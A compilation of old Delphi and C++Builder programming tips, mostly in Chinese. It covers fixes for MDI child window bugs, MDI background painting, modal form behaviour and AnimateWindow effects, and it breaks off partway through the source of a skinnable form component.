This piece of code fixes a bug present in all versions of Delphi, that occurs

when switching between maximized MDI child windows, causing the close icon to

be grayed in Delphi 3 & 4 or the system menu and max/min/close icons to vanish

in Delphi 5. Tested in Delphi Client/Server 3, 4 & 5.

{$IFDEF VER100}

{$DEFINE DELPHI3&4}

{$ENDIF}

{$IFDEF VER120}

{$DEFINE DELPHI3&4}

{$ENDIF}

type

TMDIChild = class(TForm)

{ ... }

private

procedure WMMDIActivate(var Msg: TWMMDIActivate); message WM_MDIACTIVATE;

{ ... }

end;

procedure TMDIChild.WMMDIActivate;

var

Style: Longint;

begin

if (Msg.ActiveWnd = Handle) and (biSystemMenu in BorderIcons) then

begin

Style := GetWindowLong(Handle, GWL_STYLE);

if (Style and WS_MAXIMIZE <> 0) and (Style and WS_SYSMENU = 0) then

{$IFDEF DELPHI3&4}

SetWindowLong(Handle, GWL_STYLE, Style or WS_SYSMENU);

{$ELSE}

SendMessage(Handle, WM_SIZE, SIZE_RESTORED, 0);

{$ENDIF}

end;

inherited;

end;

Tip by Sergio Trindade


非常怪的问题(关于MDI)

来自Borland TeamC的办法：

将forms.pas从BCB安装目录拷贝到你的BCB工程目录下，然后将这里提供的改动部分粘贴到源文件中去，同名函数要注释掉旧的；

选择菜单Project->Options->Packages，关闭Build with runtime packages 选项（即不选中）；

选择菜单Project->Add to projects...，将拷贝的文件加入进工程；

选择菜单Project->Build 你的工程即可（请先保存工程，因为有时Build后会兰屏，重运行BCB即可）。

注：

请注意版本说明，将此版本中改动的地方粘贴到你所用的版本的源代码中去调试（我不保证不同版本源代码可以互用）；

此方法适用于任何你想改动源代码并且应用到现有的BCB中去的情况，比如汉化对话框文本(修改consts.pas)；

我在源代码中做了改动的地方，注明了改动代码者的名字，多谢这些朋友们，无论国籍和地域。

如果你从这里获得启发，并且有其它对BCB源代码有价值的改动，能让我分享吗？

谢谢啦！

-------------------------

odin

StarSail@126.com

China,Nan Jing

2000/11/11

-------------------------

{-----------------------------------------------------------------

Paste followd code into your old forms.pas file to fix the bug:

When maximizes several child windows in MDI,and closes the top one,then the window menus of next child don't disappear or become grey.

By Gene Fowler - acorioso@ccnet.com

-----------------------------------------------------------------}

procedure TCustomForm.MergeMenu(MergeState: Boolean);

var

AMergeMenu: TMainMenu;

Size: Longint;

FixMaximize: boolean;

begin

if not (fsModal in FFormState) and

(Application.MainForm <> nil) and

(Application.MainForm.Menu <> nil) and

(Application.MainForm <> Self) and

((FormStyle = fsMDIChild) or (Application.MainForm.FormStyle <>

fsMDIForm)) then

begin

AMergeMenu := nil;

if not (csDesigning in ComponentState) and (Menu <> nil) and

(Menu.AutoMerge or (FormStyle = fsMDIChild)) then AMergeMenu := Menu;

FixMaximize := MergeState and (FormStyle = fsMDIChild) and

(WindowState = wsMaximized);

// The important change from the healthy MergeMenu from D4

// is that the Restore/RE-maximize are split up to match the

// behavior described in the Win32 Help's wm_MDINext topic (at

// the bottom).

if FixMaximize then begin

{ Force MDI to put back the system menu of a maximized child }

Size := ClientWidth + (Longint(ClientHeight) shl 16);

SendMessage(Handle, WM_SIZE, SIZE_RESTORED, Size);

end;

try

with Application.MainForm.Menu do

if MergeState then Merge(AMergeMenu) else Unmerge(AMergeMenu);

finally

if FixMaximize then

begin

Size := ClientWidth + (Longint(ClientHeight) shl 16);

SendMessage(Handle, WM_SIZE, SIZE_MAXIMIZED, Size);

end;

end;

end;

end;


MDI的主窗口背景

在Form中添加Image控件

设BMP图象

name为 IMG_BK

在Foem的Create事件中写入

Self.brush.bitmap:=img_bk.picture.bitmap;

上面的方法在Win95里面有问题。

*****************

在MDI程序中,由于MDI的主窗口一般的功能是提供子窗口显示的位置和提供菜单、工具条、状态条等，而窗口的客户区则一般不会有其它的用途,所以Image运行时会不见。不过要显示也可以，你可以试一下以下方法：

第一步：创建一个新的工程。

第二步：将Form1的FormStyle设置为fsMDIForm，设置成MDI的主窗口。

第三步：在Form1上增加一个Image元件，并选择要设置的背景到Image的Picture中。

第四步：在Form1的Private中定义：

FClientInstance,

FPrevClientProc : TFarProc;

PROCEDURE ClientWndProc(VAR Message: TMessage);

第五步：在实现(implementation)中加入上述过程的具体内容：

PROCEDURE TForm1.ClientWndProc(VAR Message: TMessage);

VAR

MyDC : hDC;

Ro, Co : Word;

begin

with Message do

case Msg of

WM_ERASEBKGND:

begin

MyDC := TWMEraseBkGnd(Message).DC;

FOR Ro := 0 TO ClientHeight DIV Image1.Picture.Height DO

FOR Co := 0 TO ClientWIDTH DIV Image1.Picture.Width DO

BitBlt(MyDC, Co*Image1.Picture.Width, Ro*Image1.Picture.Height,

Image1.Picture.Width, Image1.Picture.Height,

Image1.Picture.Bitmap.Canvas.Handle, 0, 0, SRCCOPY);

Result := 1;

end;

else

Result := CallWindowProc(FPrevClientProc, ClientHandle, Msg, wParam, lParam);

end;

end;

第六步：在Form1的创建事件中加入：

FClientInstance := MakeObjectInstance(ClientWndProc);

FPrevClientProc := Pointer(GetWindowLong(ClientHandle, GWL_WNDPROC));

SetWindowLong(ClientHandle, GWL_WNDPROC, LongInt(FClientInstance));

上面的步骤已经完成了MDI主窗口背景图案的设置，下面可以增加一个MDIChild窗口，实现MDI程序。

第七步：新增加一个Form，并将FormStyle设置为fsMDIChild。

现在你可以编译运行这个程序，你会发现，Image元件并不会在Form上显示出来，但是整个Form的客户区域被Image中的图像所铺满。


非主窗体的MDI Form如何创建子窗体

感谢Nhdj(nhdj0014@sina.com)提出这个问题。

---------------------------

我有一个程序是这样:一个主窗体,一个mdi主窗体,一个mdi子窗体,当我在主窗体中打开mdi主窗然后再新建一个mdi子窗体时就出现错误,提示"Cannot create form.No Mdi forms are currently active.".请你帮忙解决一下!不胜感激!!!

---------------------------

我们知道，在Delphi中，如果一个MDI Form非主窗体的话，我们就不能创建任何MDI Child Form，实在是遗憾，不过还是可以解决的。

Kingron查看了VCL的源代码，发现在创建窗体的时候，系统会检测MainForm是不是nil和MainForm.ClientHandle是不是nil，对于MainForm就是MDI Form的，因为有ClientHandle，所以没有问题，但是对于非MDI的主窗体，其ClientHandle为nil，因此出现错误。知道原因之后，就好办了，因此我们只要把MainForm.ClientHandle修改称自己的MDI Form的ClientHandle即可，要做这个工作，非指针莫属了！！！

在你的MDI MainForm的创建子窗体的代码中改成类似的即可。我测试通过，不过是否有什么后遗症之类，我就无法保证了，还有错误，请来信告知。

var

pHandle:^THandle;

begin

pHandle :=@Application.MainForm.ClientHandle;

pHandle^:=ClientHandle; ///关键在这一句！

with Tform3.Create(Application) do show;

end;

***************************************************

另外在老毛子的站点查找(2002.11.22)到的，也可以参考一下：

-----------------------------------------------------------------

unit Unit3;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls,

Forms, Dialogs;

type

TForm3 = class(TForm)

private

{ Private declarations }

protected

procedure CreateWindowHandle(const Params: TCreateParams);

override;

procedure DestroyWindowHandle; override;

public

{ Public declarations }

end;

var

Form3: TForm3;

implementation

uses Unit2, Consts;

{$R *.DFM}

procedure TForm3.CreateWindowHandle(const Params: TCreateParams);

var

CreateStruct: TMDICreateStruct;

begin

if (FormStyle = fsMDIChild) and not (csDesigning in

ComponentState) then

begin

if (Form2 = nil) or (Form2.ClientHandle = 0)

then raise EInvalidOperation.CreateRes(SNoMDIForm);

with CreateStruct do

begin

szClass := Params.WinClassName;

szTitle := Params.Caption;

hOwner := HInstance;

X := Params.X;

Y := Params.Y;

cX := Params.Width;

cY := Params.Height;

style := Params.Style;

lParam := Longint(Params.Param);

end;

WindowHandle := SendMessage(Form2.ClientHandle,

WM_MDICREATE, 0, Longint(@CreateStruct));

//Include(FFormState, fsCreatedMDIChild);

end else inherited CreateWindowHandle(Params);

end;

procedure TForm3.DestroyWindowHandle;

begin

SendMessage(Form2.ClientHandle, WM_MDIDESTROY, Handle, 0);

inherited DestroyWindowHandle;

end;

end.

-----------------------------------------------------------------


去掉MDI主窗体客户区凹陷的效果

在DELHPI6中加入了一个主窗体，并将该窗体的formstyle设置成fsMDIform，在该窗体上加入菜单，运行时发现菜单以下部分窗体有明显凹进去的现象，如何消除？

windoze@yeah.net：

重载窗体WndProc：

private

{ Private declarations }

FClientInstance: TFarProc;

FPrevClientProc: TFarProc;

procedure ClientWndProc(var Message: TMessage);

procedure TForm1.ClientWndProc(var Message: TMessage);

begin

with Message do

case Msg of

$3F:

begin

SetWindowLong(ClientHandle, GWL_EXSTYLE, 0);

SetWindowPos(ClientHandle, 0, 0, 0, 0, 0, SWP_FRAMECHANGED

or SWP_NOACTIVATE or SWP_NOMOVE or SWP_NOSIZE or SWP_NOZORDER);

end;

else

Result := CallWindowProc(FPrevClientProc,

ClientHandle, Msg, wParam, lParam);

end;

end;

procedure TForm1.FormCreate(Sender: TObject);

begin

FClientInstance := MakeObjectInstance(ClientWndProc);

FPrevClientProc := Pointer(GetWindowLong(ClientHandle, GWL_WNDPROC));

SetWindowLong(ClientHandle, GWL_WNDPROC, LongInt(FClientInstance));

end;


MDI Child Form和DLL
附件中是一个简单的DEMO，演示了如何从DLL里面加载一个MDI Child 窗体

附件>>>> childwnd.zip


Win2000的Modal窗体的一个问题

下面的是Kingron原创的哦，在Windows 2000 Advance Server + D5下通过

一个技术型的问题：

我们知道，使用Windows2000的时候，如果是Windows2000本身的对话框，

显示一个模态的窗口的时候，如果这个时候单击调用模态窗口的窗口，

那么这个模态窗口会闪动标题栏来提示用户！这是一个很好的功能，

不知道用Delphi怎么做？我写了好几个测试程序，但是都找不着门路。

也许用纯API创建可以，但是不用纯API有没有办法做到呢？要方法简单哦。

解决方法如下：

1：要么修改Forms.pas，设立一个全局变量，并且采用动态创建窗体的方法，这样可以随时改变Form的Owner窗体。

2：普通的方法：

假设有两个窗体：

form1,form2，form2为Modal窗体，由form1来调用，那么修改form2的pas单元如下：

TForm2=class(TForm)

....

procedure CreateParams(var Para:TCreateParams);override;

...

end;

....

procedure TForm2.CreateParams(var Para:TCreateParams);

begin

inherited CreateParams(Para);

Para.WndParent:=GetActiveWindow;

end;

这样，就会有那种闪动标题栏的效果了。

现在有一个更好的方法：

创建一个窗体，然后写上上面的代码，以后的窗体，都从这个窗体继承即可。


如何使窗体Showmodal后可以操作其他窗体

对话框ShowModal之后不能操作其它窗口，实际上是因为Windows Disable了其它窗口。所以当你需要在模态对话框中访问其它已经可见的窗口时，需要用EnableWindow API来激活对应的窗口。

例如：

form2.showmodal;

在form2的OnShow事件中：

enablewindow(form1.handle,true);

如何使用Show方法来显示一个模态窗口

   我们知道在Delphi中显示一个窗口有两种方式,模态方式显示（ShowModal）和非模态方式显示（Show），模态方式显示窗口时,必须在自身关闭后才能使父窗口起作用，但有时我们想要实现一个窗口,既要具有模态窗口的特性，但又要能从父窗口中控制它，如显示一个表示处理进行过程的进度框。利用DisableTaskWindows和 EnableTaskWindows 可以达到这一效果。

   下面是演示实现程序：

procedure TForm1.ShowProgressDlg;

var

WindowList: Pointer;

begin

{除了Form2外使所有窗口无效}

WindowList := DisableTaskWindows(Form2.Handle);

try

Form2.Show;

{循环执行任务}

Form2.ProgressBar1.Position :=

Form2.ProgressBar1.Position + 1;

{循环结束}

finally

{重新使所有窗口有效}

EnableTaskWindows(WindowList);

Form2.Close;

end;

end;


如何在OnTop窗体上面显示一个模态窗体

应该这样显示模态窗体：

application.NormalizeAllTopMosts;

ModalForm.ShowModal;

Application.RestoreTopMosts;

使用Delphi本身提供的切换OnTop的属性，可能造成窗体闪烁，可以用API来代替：

SetWindowPos(handle,hwnd_topmost,0,0,0,0,swp_nomove or swp_nosize);//Set

SetWindowPos(handle,hwnd_notopmost,0,0,0,0,swp_nomove or swp_nosize);//Unset

但是这个方法不适合于二级窗体。

OnTop窗体的一个问题：

Kingron:

例如一个Form1,Form2，Form1中调用Form2：

Hide;

form2.ShowModal;// or Show

这个时候，Form2是不能OnTop的。必须修改代码如下：

try

Hide;

Application.NormalizeAllTopMosts;

LitterWin.ShowModal;

Application.RestoreTopMosts;

finally

show;

end;

而且，在Form2的OnShow中，必须添加代码：

SetWindowPos(handle, hwnd_topmost, 0, 0, 0, 0, swp_nomove or swp_nosize);


关于模拟ShowModal的一个问题

有的时候後，我们需要一个Modal窗体，但是同时需要程序继续运行进行其他的控制，那么该这么办呢？

利用DisableTaskWindows和 EnableTaskWindows 可以达到这一效果。

   下面是演示实现程序：

procedure TForm1.ShowProgressDlg;

var

WindowList: Pointer;

begin

{除了Form2外使所有窗口无效}

WindowList := DisableTaskWindows(Form2.Handle);

try

Form2.Show;

{循环执行任务}

Form2.ProgressBar1.Position :=

Form2.ProgressBar1.Position + 1;

{循环结束}

finally

{重新使所有窗口有效}

EnableTaskWindows(WindowList);

Form2.Close;

end;

end;


一个ShowModal窗体的问题

问题提出：

我想让我做的应用的各个子窗口都单独打开，而不是MDI或SDI（简单地说就象IE这样），因此我在窗口利用了这个函数

procedure Tfrm_form1.CreateParams(VAR Params: TCreateParams);

// 单独打开窗口

begin

Inherited CreateParams(Params);

Params.WndParent := GetDesktopWindow;

end;

这样打开的窗口,在任务栏中是单独的窗口了。

但是如果我在这个窗口中再打开对话框（也是自己做的form）的话，对话框总是出现在应用的主窗口，怎么才能让对话框弹出在Tfrm_form1的前面呢。

也就是说：我的主程序窗口是frm_main, 从frm_main会打开一个窗口frm_form1,frm_form1是单独打开的，从任务栏上看是单独的图标。 现在，我在frm_form1中showmodal打开一个窗口form2，这个form2会出现在应用主窗口frm_main的前面。而我要的是form2出现在frm_form1前面。

答：

Kingron也曾经为了这个问题头疼了好久，后来终于解决掉了：

关键在于Form2，你必须同时重载Form2的CreateParams，同样，修改Params.WndParent为Frm_Form1.Handle即可。

这个问题到此就可以解决，如果你的Form2还需要在其他地方使用，那么就必须采取动态创建的方法，而且必须修改它的CreateParams，把它的Param.WndParent设置为GetActiveWindow即可。


窗体的动画显示

类似网络蚂蚁的弹出通知窗口：

procedure TForm1.FormShow(Sender: TObject);

begin

AnimateWindow (Handle, 400, AW_CENTER);

/// AnimateWindow (Handle, 400, AW_BLEND); ///淡入

end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);

begin

AnimateWindow (Handle, 400, AW_CENTER or AW_HIDE);

/// AnimateWindow (Handle, 400, AW_BLEND or $00010000); ///淡出

end;

在form上胡乱放些控件，然后

procedure TForm1.FormCloseQuery(Sender: TObject; var CanClose: Boolean);

begin

AutoScroll := False;

repeat

ScaleBy (93, 100);

Application.ProcessMessages;

until Height < 70;

end;

不知大家还有没有别的有意思的东西，拿出来同乐吧！

(注：上面的程序是从国外的一篇文章上找的)

procedure TForm1.FormCloseQuery(Sender: TObject; var CanClose: Boolean);

begin

AnimateWindow(handle,300,AW_HIDE or AW_CENTER);

或

AnimateWindow(handle,300,AW_HIDE or AW_BLEND);（windwos2000 用效果好）

end;

效果也还可以

to 烂泥：高！我再增加一点趣味性：

procedure TForm1.FormCloseQuery(Sender: TObject; var CanClose: Boolean);

begin

// 正常的工作在此进行

if CanClose then

begin

Randomize;

AnimateWindow(handle,200,AW_HIDE or Random(16)+1);

end;

end;

**********************************************************

我在程序的窗體加入一image做為背景,但為何配合aimatewindow使用,執行後卻看不到背景圖案,請問是何原因???

procedure TForm1.FormShow(Sender: TObject);

begin

AnimateWindow (Handle, 800, AW_center);

end;

回复人： blazingfire(烈焰) ( ) 信誉：100 2002-9-9 20:47:34 得分:0

伴水老大的方法也不行的。//以下是摘自<<Delphi未经证实之葵花宝典>>

原因很简单，但是解决方法很麻烦。

MSDN文档说窗体中的控件的windows程序必须处理WM_PRINT或WM_PRINTCLIENT消息，使它们与AnimateWindow API函数一起使用。这些消息当Windows需要在屏幕以外的显示环境（如打印机，在这里使屏幕外位图）绘图时被使用。该文档说普通控件和对话框的窗口程序已经处理了这些消息。

这就解释了一些控件绘图正常：例如TButton, TCheckBox和TRadioButton它们拥有和管理底下的按钮控件，这样它们能正确的处理消息。

绘图有错误的控件是一种中间类型，它们拥有按钮控件但是一些部分使应用Dephi的TCanvas而不是Windows GDI绘制的，如TEdit, TRichEdit和其他这样的控件。

不可见的控件是完全不拥有普通控件的那些，它们都是TGraphic的后代，如TShape和TBevel。这些控件决不会画出来，因为它们接收不到需要的消息。

但是，对从TWinControl衍生出来的Delphi对象，你可以这样从中间截取和处理WM_PRINTCLIENT消息：

unit TestGroupBox;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

StdCtrls;

type

TTestGroupBox = class(TGroupBox)

private

{ Private declarations }

protected

{ Protected declarations }

procedure WMPrintClient(var Msg: TMessage); message WM_PRINTCLIENT;

public

{ Public declarations }

published

{ Published declarations }

end;

procedure Register;

implementation

procedure Register;

begin

RegisterComponents(''Test'', [TTestGroupBox]);

end;

{ TTestGroupBox }

procedure TTestGroupBox.WMPrintClient(var Msg: TMessage);

begin

PaintTo(HDC(Msg.WParam), 0, 0);

end;

end.

这是一个从TGroupBox派生出来的例子组件。由于TGroupBox拥有的不是一个普通窗口控件，WM_PRINTCLIENT没有被处理。程序添加消息处理函数并在一个不同的显示环境中使用PaintTo方法，这些都是直接了当的。

现在是麻烦的部分了：你窗体的每一个控件都必须这样修改，而且你必须修改你所有的对象才能安全使用AnimateWindow API函数。

回复人： zswang(伴水)(流浪在北京) ( ) 信誉：127 2002-9-9 20:51:57 得分:0

to blazingfire:

不知道你的测试结果是什么，能用的是什么控件来调试呢？

如下是一狠招。

procedure TForm1.FormShow(Sender: TObject);

var

I: Integer;

begin

AnimateWindow(Handle, 800, AW_ACTIVATE or AW_CENTER); //别忘AW_ACTIVATE，我说调试怎么这样别扭

for I := 0 to ComponentCount - 1 do

if Components[I] is TControl then

TControl(Components[I]).Repaint;

end;

回复人： pazee(耙子) ( ) 信誉：92 2002-09-09 21:02:00 得分:0

伴水的招数的确狠，东西时都出来，可是都是在动画晚了之后蹦出来的。

AnminateWindow 这个是win2k出来才正式宣布出来的。可能borland当时没考虑到。新版的delphi 7估计重新写了这些控件的消息处理。

回复人： Kingron(单身走我路……) ( ) 信誉：112 2002-09-09 21:41:00 得分:0

zswang，赫赫，不要用Repaint，这样强制Refresh消耗时间，用Invalidate会根据需要Repaint，而且，你没有考虑容器控件的情况！

我是这样做的：

procedure TFrmBase.FormShow(Sender: TObject);

procedure RefreshControl(Control: TControl); ///可能包含子控件，也要刷新

var

i : integer;

begin

Control.Invalidate;

if Control is TWinControl then

for i := 0 to TWinControl(Control).ControlCount - 1 do

RefreshControl(TWinControl(Control).Controls[i]);

end;

begin

AnimateWindow(Handle, 200, AW_SLIDE + AW_CENTER);///动画显示

RefreshControl(Self); ///使用动画之后，必须Refresh，否则控件看不到！

SetActiveWindow(Handle); ///激活窗口

end;


Skin Form

{

-------------------------------------------------------------------------------

SkinForm Component for Delphi 3 and 4

Copyright 1999 FriendSoft All Rights Reserved.

http://friendsoft.yeah.net

This component can be freely used and distributed in commercial and private

products, if you like it, please drop me an e-mail and send your screenshots.

Please feel free to contact me if you have any comments or suggestions.

Author: Xue Huai Qing [xhq@writeme.com]

Some functions come from Jscalco & Eddie Shipman, many thanks to them.

Thanks to Andre Inghillieri for his suggestions and improvements.

Thanks to Konrad Swart for his .dcr file.

Thanks to all people who give me a lot of encouragement and suggestions.

Description:

============

Are you bored by Windows95 UI? Do you want to create an application which

has a cool and changeable UI just like WPlay and WinAmp?

If so, SkinForm might be the thing that you want. This component can help

you to change the visual appearance of your project and make non-rectangular

windows forms quite easily.

Usage:

======

1.Make the skins of your applications, they are must be in bitmap format.

2.Make a skin file just like the skin file in the demo.The file format is

described in the readme file.

3.Use LoadSkinFile to load a skin file.

4.Add your own code to catch the following events:

OnMouseDownNotify, OnMouseMoveNotify, OnMouseUpNotify

History:

========

1.00 Initial release

1.01 Clean the code and make it compatible with Delphi 3

1.10 Add functions to manage the information of dispaly area

Reduce the action of refresh

Add an OnSkinChanged event

Many thanks to Andre Inghillieri for his suggestions and improvements

1.20 Add support of trackbar

Fixed bugs of displaying text

Reduce the blinking time

------------------------------------------------------------------------------}

unit SkinForm;

//if you use Delphi 3, please add "{$DEFINE DELPHI3}" as a new line

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

ExtCtrls, IniFiles, StdCtrls;

type

TMouseDownNotify = Procedure (ID : string; Button: TMouseButton; Shift: TShiftState; X, Y: Integer) of object;

TMouseUpNotify = Procedure (ID : string; Button: TMouseButton; Shift: TShiftState; X, Y: Integer) of object;

TMouseMoveNotify = Procedure (ID : string; Shift: TShiftState; X, Y: Integer) of object;

HotAreaInfoRec = record

ID : string;

x, y : integer;

Width, Height : integer;

bLockable, bSwitchOn : Boolean;

end;

DisplayInfoRec = record

ID : string;

x, y :integer;

Font : TFont;

Text : string;

end;

TrackBarInfoRec = record

ID : string;

UpBitmap, DownBitmap : TBitmap;

x, y, Length : integer;

Direction : Boolean;

Position : 0..100;

end;

{$IFDEF DELPHI3}

BITMAP = record

bmType : longint;

bmWidth : longint;

bmHeight : longint;

bmWidthBytes : longint;

bmPlanes : WORD;

bmBitsPixel : WORD;

bmBits : pointer;

end;

THotAreaInfoArray = array [0..127] of HotAreaInfoRec;

TDisplayInfoArray = array [0..63] of DisplayInfoRec;

TTrackBarInfoArray = array [0..7] of TrackBarInfoRec;

{$ELSE}

THotAreaInfoArray = array of HotAreaInfoRec;

TDisplayInfoArray = array of DisplayInfoRec;

TTrackBarInfoArray = array of TrackBarInfoRec;

{$ENDIF}

TSkinForm = class(TImage)

private

{ Private declarations }

FMaskBitmap : TBitmap;

FMouseUpBitmap : TBitmap;

FMouseOnBitmap: TBitmap;

FMouseDownBitmap : TBitmap;

FRegion : HRGN;

FKeyColor : TColor;

FTolerance : TColor;

FHotAreaInfoArray : THotAreaInfoArray;

FDisplayInfoArray : TDisplayInfoArray;

FTrackBarInfoArray : TTrackBarInfoArray;

FEnableMouseOnBitmap : Boolean;

FClassID : string;

FCharset : TFontCharset;

FbNeedRedraw : Boolean;

FbLastState, FbThisState : Boolean;

FOnMouseDownNotify : TMouseDownNotify;

FOnMouseUpNotify : TMouseUpNotify;

FOnMouseMoveNotify : TMouseMoveNotify;

FOnSkinChanged : TNotifyEvent;

{$IFDEF DELPHI3}

FHotAreaCount : integer;

FDisplayCount : integer;

FTrackBarCount : integer;

{$ENDIF}

bInHotArea : Boolean;

bDragTrackBar : Boolean;

iDragTrackBar : integer;

protected

{ Protected declarations }

procedure LoadBitmapFile(var Bitmap : TBitmap; const FileName : string);

procedure LoadBitmapResource(var Bitmap : TBitmap; const ResourceName : string);

procedure SetParent(Value:TWinControl);override;

procedure MouseDown(Button: TMouseButton; Shift: TShiftState; X, Y: Integer);override;

procedure MouseUp(Button: TMouseButton; Shift: TShiftState; X, Y: Integer);override;

procedure MouseMove(Shift: TShiftState; X, Y: Integer);override;

public

{ Public declarations }

constructor Create(Aowner:TComponent); override;

destructor Destroy; override;

procedure SetKeyColor(KeyColor : TColor);

procedure SetTolerance(Tolerance : TColor);

procedure LoadAllBitmap(FromResource : Boolean; const Mask, MouseUp, MouseDown, MouseOn : string);

procedure LoadSkinFile(const Skin : string);

procedure MouseDownNotify(ID : string; Button: TMouseButton; Shift: TShiftState; X, Y: Integer);

procedure MouseUpNotify(ID : string; Button: TMouseButton; Shift: TShiftState; X, Y: Integer);

procedure MouseMoveNotify(ID : string; Shift: TShiftState; X, Y: Integer);

procedure Refresh;

function GetHotAreaState(ID : string) : Boolean;

procedure SetCharset(Charset : TFontCharset);

procedure SetDisplayText(ID : string; Text : string);

function GetTrackBarPos(ID : string) : integer;

published

{ Published declarations }

property KeyColor : TColor

read FKeyColor

write SetKeyColor;

property Tolerance : TColor

read FTolerance

write SetTolerance;

property OnMouseDownNotify : TMouseDownNotify

read FOnMouseDownNotify

write FOnMouseDownNotify;

property OnMouseUpNotify : TMouseUpNotify

read FOnMouseUpNotify

write FOnMouseUpNotify;

property OnMouseMoveNotify : TMouseMoveNotify

read FOnMouseMoveNotify

write FOnMouseMoveNotify;

property OnSkinChanged :TNotifyEvent

read FOnSkinChanged

write FOnSkinChanged;

end;

function MinByte(B1, B2: byte): byte;

function Bitmap2Region( hBmp: TBitmap; TransColor: TColor; Tolerance: TColor): HRGN;

procedure CommaTextToStrs( AStrs: TStrings; const Value: string ; const AchDelim : Char );

procedure Register;

implementation

constructor TSkinForm.Create(Aowner : TComponent);

begin

inherited Create(Aowner);

FMaskBitmap := TBitmap.Create;

FMouseUpBitmap := TBitmap.Create;

FMouseOnBitmap := TBitmap.Create;

FMouseDownBitmap := TBitmap.Create;

Align := alClient;

FKeyColor := clWhite;

FTolerance := $00000000;

FRegion := 0;

FEnableMouseOnBitmap := TRUE;

FCharset := DEFAULT_CHARSET;

FbNeedRedraw := TRUE;

end;

destructor TSkinForm.Destroy;

var

i : integer;

begin

FMaskBitmap.Free;

FMouseUpBitmap.Free;

FMouseOnBitmap.Free;

FMouseDownBitmap.Free;

{$IFDEF DELPHI3}

for i := 0 to FTrackBarCount - 1 do

{$ELSE}

for i := 0 to Length(FTrackBarInfoArray) - 1 do

{$ENDIF}

begin

FTrackBarInfoArray[i].UpBitmap.Free;

FTrackBarInfoArray[i].DownBitmap.Free;

end;

{$IFDEF DELPHI3}

for i := 0 to FDisplayCount - 1 do

{$ELSE}

for i := 0 to Length(FDisplayInfoArray) - 1 do

{$ENDIF}

begin

FDisplayInfoArray[i].Font.Free;

end;

{$IFNDEF DELPHI3}

SetLength(FHotAreaInfoArray, 0);

SetLength(FDisplayInfoArray, 0);

SetLEngth(FTrackBarInfoArray, 0);

{$ENDIF}

Inherited Destroy;

end;

procedure TSkinForm.SetParent(Value : TWinControl);

begin

inherited SetParent(Value);

if Value<>nil then

if (Value is TForm) then

TForm(Value).BorderStyle:=bsNone

else

raise Exception.Create('Please Drop on a Form')

end;

procedure TSkinForm.SetKeyColor(KeyColor : TColor);

begin

if FKeyColor <> KeyColor then FKeyColor := KeyColor;

end;

procedure TSkinForm.SetTolerance(Tolerance : TColor);

begin

if FTolerance <> Tolerance then FTolerance := Tolerance;

end;

procedure TSkinForm.LoadBitmapResource(var Bitmap : TBitmap; const ResourceName : string);

begin

Bitmap.LoadFromResourceName(hInstance, ResourceName);

end;

procedure TSkinForm.LoadBitmapFile(var Bitmap : TBitmap; const FileName : string);

begin

Bitmap.LoadFromFile(FileName);

end;

procedure TSkinForm.LoadSkinFile(const Skin : string);

var

SkinFile : TIniFile;

Count, iLoop : integer;

s : string;

Strs : TStringList;

strMask, strMouseUp, strMouseOn, strMouseDown : string;

BitmapPath : string;

begin

Align := alClient;

FRegion := 0;

FEnableMouseOnBitmap := TRUE;

BitmapPath := ExtractFilePath(Skin);

SkinFile := TIniFile.Create(Skin);

strMask := SkinFile.ReadString('BITMAPINFO', 'MaskBitmap', 'ERROR');

strMouseUp := SkinFile.ReadString('BITMAPINFO', 'MouseUpBitmap', strMask);

strMouseDown := SkinFile.ReadString('BITMAPINFO', 'MouseDownBitmap', strMouseUp);

strMouseOn := SkinFile.ReadString('BITMAPINFO', 'MouseOnBitmap', strMouseDown);

if strMouseOn = strMouseDown then FEnableMouseOnBitmap := FALSE;

strMask := BitmapPath + strMask;

strMouseUp := BitmapPath + strMouseUp;

strMouseDown := BitmapPath + strMouseDown;

strMouseOn := BitmapPath + strMouseOn;

Count := SkinFile.ReadInteger('HOTAREAINFO', 'Count', 0);

{$IFDEF DELPHI3}

FHotAreaCount := Count;

{$ELSE}

SetLength(FHotAreaInfoArray, Count);

{$ENDIF}

Strs := TStringList.Create;

LoadAllBitmap(FALSE, strMask, strMouseUp, strMouseDown, strMouseOn);

for iLoop := 1 to Count do

begin

Strs.Clear;

s := SkinFile.ReadString('HOTAREAINFO', IntToStr(iLoop), 'NOT_DEFINED, 0, 0, 0, 0');

CommaTextToStrs(Strs, s, ',');

FHotAreaInfoArray[iLoop-1].ID := Strs.Strings[0];

FHotAreaInfoArray[iLoop-1].x := StrToInt(Strs.Strings[1]);

FHotAreaInfoArray[iLoop-1].y := StrToInt(Strs.Strings[2]);

FHotAreaInfoArray[iLoop-1].Width := StrToInt(Strs.Strings[3]);

FHotAreaInfoArray[iLoop-1].Height := StrToInt(Strs.Strings[4]);

FHotAreaInfoArray[iLoop-1].bLockable := FALSE;

if Strs.Count = 6 then

begin

FHotAreaInfoArray[iLoop-1].bLockable := TRUE;

if Strs.Strings[5] = 'FALSE' then

FHotAreaInfoArray[iLoop-1].bSwitchOn := FALSE

else

FHotAreaInfoArray[iLoop-1].bSwitchOn := TRUE;

end;

end;

/////////////////

Count := SkinFile.ReadInteger('DISPLAYINFO', 'Count', 0);

FCharset := SkinFile.ReadInteger('DISPLAYINFO', 'Charset', DEFAULT_CHARSET);

{$IFDEF DELPHI3}

FDisplayCount := Count;

{$ELSE}

SetLength(FDisplayInfoArray, Count);

{$ENDIF}

for iLoop := 1 to Count do

begin

Strs.Clear;

s := SkinFile.ReadString('DISPLAYINFO', IntToStr(iLoop), 'NOT_DEFINED, Arial, FALSE, FALSE, 0, clBlack, 0, 0, EMPTY');

CommaTextToStrs(Strs, s, ',');

FDisplayInfoArray[iLoop-1].ID := Strs.Strings[0];

if FDisplayInfoArray[iLoop-1].Font <> nil then FDisplayInfoArray[iLoop-1].Font.Free;

FDisplayInfoArray[iLoop-1].Font := TFont.Create;

with FDisplayInfoArray[iLoop-1] do

begin

Font.Charset := FCharset;

Font.Name := Strs.Strings[1];

Font.Style := [];

if Strs.Strings[2] = 'TRUE' then

Font.Style := Font.Style + [fsBold];

if Strs.Strings[3] = 'TRUE' then

Font.Style := Font.Style + [fsItalic];

Font.Size := StrToInt(Strs.Strings[4]);

Font.Color := StrToInt(Strs.Strings[5]);

x := StrToInt(Strs.Strings[6]);

y := StrToInt(Strs.Strings[7]);

